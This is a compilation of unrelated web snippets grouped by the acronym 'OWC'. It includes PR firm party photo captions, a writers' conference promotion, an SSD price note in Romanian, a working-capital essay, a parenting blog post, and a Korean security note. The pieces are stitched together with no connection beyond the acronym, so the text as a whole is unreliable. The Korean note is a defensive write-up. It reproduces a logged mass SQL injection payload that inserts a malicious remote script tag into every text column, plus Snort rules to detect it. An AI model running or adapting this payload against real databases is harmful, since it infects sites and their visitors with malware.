Olmstead Williams Communications was featured in last week’s L.A. Biz Seen for its one-year anniversary party. The champagne and chocolate affair was held at the Napa Valley Grille in Westwood in late October. The L.A. Biz Seen is a section that publishes photographs of business-related events in Los Angeles. It includes parties, awards dinners, benefits and other celebrations.

From left, Leslie DaCruz, USC Viterbi School of Engineering executive director; Beth Karmin and husband Ken Karmin, Ortho Mattress chairman; Bill Allen, Los Angeles County Economic Development Corp. CEO; and Tracy Williams, Olmstead Williams Comunications president; at Olmstead Williams' one-year anniversary party Oct. 28 at the Napa Valley Grille in Westwood.

Click here for a larger version of the picture

The Ontario Writers’ Conference is thrilled to announce that they will be featuring Science Fiction author Robert J. Sawyer as both a Keynote Speaker and a Workshop Facilitator for our 2010 conference.

Sawyer will lead the Workshop: Science Fiction as the Literature of Ideas during the morning of the conference. He will also be featured as the Keynote Speaker at the gala dinner which will close out the daytime festivities and lead the attendees into the evening Festival of Authors.

ROBERT J. SAWYER BIO: Robert J. Sawyer, the “Dean of Canadian Science Fiction,” is one of only seven writers ever—and the only Canadian—to win all three of the world’s top awards for best SF novel of the year: the Hugo, Nebula, and John W. Campbell Memorial awards. As both a futurist and a science-fiction writer, Robert J. Sawyer is very much in demand as a speaker. He’s given keynotes and talks all over the world, including at the Library of Congress in Washington and the Canadian Embassy in Tokyo.

Rob’s specialty is extrapolating today’s scientific, medical, and ethical concerns into the near future, and making the radical changes that are forthcoming understandable to any audience. Called a master of “bold scientific extrapolation” by The New York Times, Rob opens up people’s minds about cutting-edge technologies such as artificial intelligence, stem-cell research, and nanotech, exploring the societal impact they are going to have.

Don’t miss out on the opportunity! Visit the conference website now to learn more about registration.

It’s not too late to take advantage of the Ontario Writers’ Conference Early Bird Registration Discount.

Visit the site here: ONTARIO WRITERS’ CONFERENCE

To see the May 1st, 2010 Ontario Writers’ Conference Schedule, visit this page: 2010 SCHEDULE

You can register online and pay through PayPal. Visit our REGISTRATION PAGE for full pricing details and step-by-step instructions for registering.

The 2010 Ontario Writers’ Conference will take place at DEER CREEK GOLF & BANQUET FACILITY in Ajax, Ontario…only minutes from Toronto.

The Conference is a full day of workshops, panel discussion, blue pencil sessions, round-tables, keynote speakers, author readings and fantastic dining. Register now!

EARLY BIRD REGISTRATION DEADLINE IS DECEMBER 15th, 2009. REGISTER BY THE 15th TO RECEIVE YOUR DISCOUNT AUTOMATICALLY.

You can now sign-up for the Ontario Writers’ Conference e-Newsletter. Simply go to the following link, enter your email address and click on the Join Now! button.

OWC NEWSLETTER SIGN-UP

Then you will want to check out this great post/blog by OWC.  I have used them in the past and they have been a great resource.  Click here to read their blog.

Clients, reporters, friends and employees gathered at the Napa Valley Grille in Westwood last Wednesday to celebrate the first year of Olmstead Williams Communications, a business-to-business public relations firm born this past September. The champagne and artisan chocolate affair was a great success, topped off with a book signing by Susie Norris who just released “Chocolate Bliss” through Random House/Celestial Arts.

Susie Norris, left, artisan chocolatier and author of 'Chocolate Bliss,' just out from Random House/Celestial Arts, shares cacao nibs (perfectly roasted cocoa beans separated from their husks and broken into small bits) with Anne Reifenberg, center, of Bloomberg News and Robbin Itkin, right, a partner at Steptoe & Johnson, as John Hanley, also a partner at Steptoe, looks on. Olmstead Williams Communications provided complimentary copies of the book which Norris signed during the agency’s one-year anniversary, billed as its “Chocolate Anniversary,” at the Napa Valley Grille in Westwood last Wednesday.

Starting a company as the country headed into a recession has proven to be a smart decision for Tracy Williams, president and founder of OWC.

“Entrepreneurs will tell you a recession is a great time to start a business, and they are right,” Williams said. “From negotiating leases and payroll services to office furniture and computer hardware and software, we have taken full advantage of recessionary pricing. In addition, as a tech savvy group, we saved money with outsourcing all of our data storage and exchange server functions into cloud computing platforms and created our Web site using content management software and blog services which make updates easy and inexpensive.

“But I must say that it was the good will of so many people I’ve worked with over the entirely of my career that really set us on a successful path. Clients, a great referral network of people who wanted to see us succeed, and photographers, event planners, even our lawyer, banker and accountant were instrumental in our success. Much is owed to these friends.”

Williams and her staff gave thanks to those friends during the party which was billed as the firm’s “Chocolate Anniversary.”

(L-R) Leslie DaCruz, executive director of communications and marketing at the USC Viterbi School of Engineering; Beth Karmin and her husband Ken Karmin, president and chairman of Ortho Mattress; Bill Allen, president & CEO of the Los Angeles Economic Development Corporation (LAEDC); and Tracy Williams, president and founder of Olmstead Williams Communications, celebrate the one-year anniversary of the business-to-business PR firm with more than 65 colleagues and friends during an event at the Napa Valley Grille in Westwood last Wednesday.

Robert Ward, novelist; Jon P. Goodman, PhD., President, Town Hall Los Angeles; Christian Williams, writer/producer and husband of Tracy Williams; and Farida Fattouhi, President, Reality2 LLC.

(L-R) Sharona Justman, Step Strategy Advisors; Cheryl Calhoun, CBIZ; Julie Lytle; and Sara Feinbloom, filmmaker/documentarian.

(L-R) Jay Cooper of Greenberg Traurig and wife Daurice; Tracy Williams; AnnMarie Newman and film composer husband, Thomas Newman.

(L-R) Lisa McAndrews; Tracy Williams; and Richard McAndrews, President and CEO, KRW/SESCO Investigation Services.

(L-R): Francine DuBois; and Kamran Pourzanjani, CEO, Bestcovery.com

Author of 'Chocolate Bliss' and artesan chocolatier Susie Norris (second from left) shares a laugh with OWC team members, (L-R) Amy Punt; Ashton Uytengsu; Tracy Williams; and Trent Freeman.

Always detailed and informative.  Click here to read.

Much better performance with SSD drives.  Read more here.

OWC lanseaza o noua gama de SSD-uri portabile la un pret rezonabil. Capacitatile disponibile sunt 64, 128 si 256GB. Acestea dispun de porturi FireWire si USB 2.0. Preturile sunt: 64GB-280$, 128GB-450$, 256GB-730$.

Part III: Looking for Free Cash
In this last installment on operational working capital, I thought we might focus on where to be looking for cash when conducting an assessment.
In the traditional perspective, the focus is primarily on DIO and DSO without consideration being given to other areas. I believe that a much more balanced perspective is needed to establish the Cash Culture. Key ratios and metrics such as DPO, DOH, Real Tax Rate, Financial Inventory Turns and DOA are just a few of the many ways to deep dive into the areas where cash is tied up and not working for you.
Regardless of your business, be it manufacturing or services, the goal should be to squeeze out every possible day between receiving payment and delivering payment. Cash preservation is king.
You might think that this is only possible when you have commercial leverage. In some cases, that is true. It certainly helps to be the big dog on the block when trying to extract supplier concessions or pushing a new sourcing model. But don’t let size fool you. Take for example the top 25 aerospace and defense manufacturing companies. By simply reviewing the financial statements you will see that several of the so-called industry leaders are actually in the bottom quartiles when it comes to operational working capital. Class leading OWC is not a by-product of size; it is a product of leadership, discipline and long-term commitment.
So you’ve been appointed the OWC Czar of your company, tasked to optimize your organization’s cash culture. You’ve looked at AP, you’ve checked AR- now what? I would suggest a stop down the hall and introducing yourself to your much maligned and oft forgotten procurement department. Walk up to the nearest file cabinet and you will find all the OWC topics you need laid out nicely:
• Contracts
• Purchasing
• Receiving
• Operations
• Inventory
• Shipping
The majority of your working capital is typically tied up one of these process or functional areas. Understanding how to engage these stakeholders, assess the gaps and pu in place a remediation plan is the recipe for your OWC success story.
However, merely capturing the data is not enough. To institutionalize change and make it stick is the larger challenge. There are several tips that I would suggest beyond the traditional “Stick, Larger Stick and Club” method. Consider using regulatory compliance as an opportunity to implement controls, policies, procedures and metrics that support a cash culture. Put in management oversight and performance incentives tied back to continuous OWC improvement.
To be successful, you need to embed the metrics and behaviors so they do not become siloed. Ownership cannot be in name only; it must be a leadership commitment that is seen as a corporate priority that impacts everyone.
I hope this short series has offered a few insights into operational working capital improvement opportunities. It is not just in challenging times that companies should be focused on cash. By dedicating resources to it now your shareholders will thank you later!

참조 : http://isc.sans.org/diary.html?storyid=6811

Office Web Components 취약점을 이용하여 exploit공격이 진행되고 있다고 합니다.

웹사이트에 남겨진

로그내용이라고 하네요.

DECLARE @T varchar(255),@C varchar(255) DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype=’u’ and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM  Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec(‘update ['+@T+'] set ['+@C+']=rtrim(convert(varchar,['+@C+']))+”<script src=hxxp://f1y.in/j.js></script>”’)FETCH NEXT FROM  Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor

룰입니다.

외부에서 삽입공격 시

alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:”OWC exploits used in SQL injection attacks”; uricontent:”<script src=http://f1y.in/j.js></script>”; nocase;)

내부에서 js 파일 요청 시

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:”OWC exploits used in SQL injection attacks request js file”; uricontent:”/j.js”; nocase; content:”|0d0a|Host|3a20|”; nocase; content:”f1y.in|0d0a|”; nocase; distance:0; within:20;)

SoCalBio Networking Forum

The photo above appeared in the April 20-26 issue of the Los Angeles Business Journal’s L.A. Biz Seen. Here is the full text of the caption as it ran in the paper:

From left, Don Ferrera, Ernst & Young biotech and tech coordinating partner; Jerry Schloffman, Advanced Bionics Corp. vice president; Tracy Williams, Olmstead Williams Communications CEO; Shane Passarelli, Healthcare Finance Group senior vice president; and Ben Kuo, SoCalTech.com editor, at a March 26 networking forum hosted by SoCalBio at the Courtyard by Marriott in Oxnard.

This months One Word Challenge the Sisters are giving us one word and we will all focus on that word. It is beautiful. I am excited about the possibilities, not only for my own photography but to see what others come up with. There is one thing that I have learned after rubbing virtual elbows with so many artists is that everything is up for interpretation. What may be beautiful to me, may not be beautiful to you. I am going to kick off a picture that is just that!

Explanation:
As your kids grow older they are away from you more and more. My daughter traveled for basketball this weekend and while she was there she came down with a bad cold. I talked to her on Thursday and I could hear it in her voice, she was sick. My hearts first reaction was to hurt, I could not help it. I am the mom and I am the one to take care of MY kids when they are ill. Then the next reaction was to pull it together because this girl still has to endure sleeping on a gym floor for the night and play another game the following afternoon. So we did what my husband calls a “Cowboy UP” (we are from Wyoming) and we stayed with the positive and ignored the cold.

While she was away I listened to her games on the radio and when they are over I text her, so that I am right there to congratulate her on her game. Don’t you just love technology??? I always ask her to call me when as soon as she can. Well this night I get a call from another mother because my daughter had lost her voice. Ouch! She had one more night away and then she would be home. I had to look at the positive.

She arrived this afternoon looking like she was ready to fall over and pass out. Her eyes were droopy and she could hardly talk. My husband and I gave her luvies (hugs) and she told us about her weekend. The feeling of rest I felt just to have her home was wonderful. I started cleaning up and doing some things and I walked into the living room to find her laying on the couch with her feet propped up eating a yogurt. Her brother in the other couch as they watched a program on the tv together. Nothing is more beautiful to me than that.